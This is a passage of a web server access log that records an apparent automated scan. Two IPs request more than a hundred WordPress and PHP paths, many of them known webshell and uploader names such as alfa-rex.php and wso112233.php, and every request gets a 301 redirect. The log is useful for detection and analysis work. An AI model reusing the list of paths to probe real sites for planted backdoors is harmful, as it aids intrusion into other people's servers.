Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:21:55 -0400] "GET /uploads/phUploader.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.85 - - [23/Apr/2025:03:21:55 -0400] "GET /wp-content/uploads/lmfi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:55 -0400] "GET /special.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:21:55 -0400] "GET /.qiodetme.php/goat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:55 -0400] "GET /ova-wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:55 -0400] "GET /wp-content/plugins/xwp/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:55 -0400] "GET /media.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:55 -0400] "GET /wp-admin/css/colors/coffee/iudate.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.85 - - [23/Apr/2025:03:21:55 -0400] "GET /index2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:55 -0400] "GET /search.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:21:55 -0400] "GET /wp-content/themes/hello-element/footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:55 -0400] "GET /fm1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:55 -0400] "GET /wp-content/plugins/anttt/simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:55 -0400] "GET /admin-post.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:21:55 -0400] "GET /.well-known/pki-validation/web.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:21:55 -0400] "GET /wp-includes/Text/Diff/Renderer/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.87 - - [23/Apr/2025:03:21:55 -0400] "GET /wp-log1n.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:55 -0400] "GET /wp-admin/maint/min.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:56 -0400] "GET /form.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:21:56 -0400] "GET /.well-known/pki-validation/index1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:56 -0400] "GET /options-head.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:56 -0400] "GET /wp-content/plugins/instabuilder2/cache/plugins/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:56 -0400] "GET /wp-admin/css/colors/blue/uploader.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:56 -0400] "GET /networks.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:56 -0400] "GET /wp-admin/includes/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:56 -0400] "GET /wpup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:21:56 -0400] "GET /nf_tracking.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:56 -0400] "GET /revision.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:56 -0400] "GET /wp-content/plugins/instabuilder2/cache/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:56 -0400] "GET /images/upload-image.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:56 -0400] "GET /report.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:56 -0400] "GET /wp-admin/luuf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:56 -0400] "GET /wp-2018.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:56 -0400] "GET /term.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.87 - - [23/Apr/2025:03:21:56 -0400] "GET /wp-content/plugins/wordpresss3cll/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:56 -0400] "GET /wp-includes/dedbs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:56 -0400] "GET /abby.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:56 -0400] "GET /wp-content/plugins/core-plugin/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.85 - - [23/Apr/2025:03:21:56 -0400] "GET /woh.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:56 -0400] "GET /siti.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:21:56 -0400] "GET /wp-pano.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:56 -0400] "GET /wp-content/plugins/wpyii2/wpyii2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:56 -0400] "GET /wp-includes/bestmailer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:21:56 -0400] "GET /anger.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:56 -0400] "GET /wp-content/uploads/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.85 - - [23/Apr/2025:03:21:56 -0400] "GET /wso112233.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:56 -0400] "GET /abe.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:21:56 -0400] "GET /xt/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:56 -0400] "GET /wp-content/plugins/wpputty/wpputty.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:56 -0400] "GET /wp-content/upgrade/404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:56 -0400] "GET /lu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:56 -0400] "GET /wp-includes/wp-widgets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:21:56 -0400] "GET /bala.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:56 -0400] "GET /insoamv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:56 -0400] "GET /moded.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:21:56 -0400] "GET /public/makeasmtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:56 -0400] "GET /wp-content/plugins/dos2unix/dos2unix.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:21:56 -0400] "GET /wp-admin/includes/inputs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:57 -0400] "GET /.well-known/pki-validation/sxx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:21:57 -0400] "GET /tiny.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:57 -0400] "GET /wp-includes/images/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:57 -0400] "GET /wp-p.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:57 -0400] "GET /wp-admin/css/meta.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:21:57 -0400] "GET /wp-content/updraft/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:57 -0400] "GET /wp-includes/sitemaps/providers/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:21:57 -0400] "GET /packed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.85 - - [23/Apr/2025:03:21:57 -0400] "GET /wpkey.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:57 -0400] "GET /wp-content/themes/signify/firkon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:57 -0400] "GET /wp-admin/includes/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:57 -0400] "GET /include/Lurd.class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:57 -0400] "GET /wp-admin/css/colors/blue/locale.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:21:57 -0400] "GET /wp-includes/PHPMailer/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:57 -0400] "GET /max.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:21:57 -0400] "GET /goat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:57 -0400] "GET /upgrade.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:57 -0400] "GET /wp-content/plugins/not/includes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:57 -0400] "GET /css/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:57 -0400] "GET /wp-admin/maint/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:21:57 -0400] "GET /wp-admin/includes/send.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:21:57 -0400] "GET /menu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:21:57 -0400] "GET /masterjob/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:57 -0400] "GET /gh.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:57 -0400] "GET /wp-content/plugins/awesome-coming-soon/come.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:57 -0400] "GET /wp-admin/js/91.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:57 -0400] "GET /wp-includes/IXR/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:21:57 -0400] "GET /wp-admin/1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:21:57 -0400] "GET /crop.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:57 -0400] "GET /n.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:57 -0400] "GET /head.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:57 -0400] "GET /go.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:21:57 -0400] "GET /wp-includes/block-editor.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:57 -0400] "GET /wp-includes/images/crystal/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:57 -0400] "GET /wp-content/themes/astra/inc/ki1k.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:57 -0400] "GET /saka.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:57 -0400] "GET /index1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:21:57 -0400] "GET /webshell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:57 -0400] "GET /wp-content/plugins/page-flip-image-gallery/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:57 -0400] "GET /wp-includes/ID3/wrapper.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.87 - - [23/Apr/2025:03:21:57 -0400] "GET /wp-admin/css/colors/blue/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:57 -0400] "GET /wp-admin/maint/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:58 -0400] "GET /theme-insqbzk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:58 -0400] "GET /wp-content/uploads/2023/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.85 - - [23/Apr/2025:03:21:58 -0400] "GET /filemanager/dialog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:58 -0400] "GET /wp-includes/js/jcrop/Jcrop.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:21:58 -0400] "GET /wp-admin/css/colors/ocean/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:21:58 -0400] "GET /wp-admin/css/browser.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:58 -0400] "GET /wp-content/plugins/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:21:58 -0400] "GET /you.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:58 -0400] "GET /marijuana.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:58 -0400] "GET /good.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:21:58 -0400] "GET /alfanew.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:58 -0400] "GET /wp-admin/css/colors/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 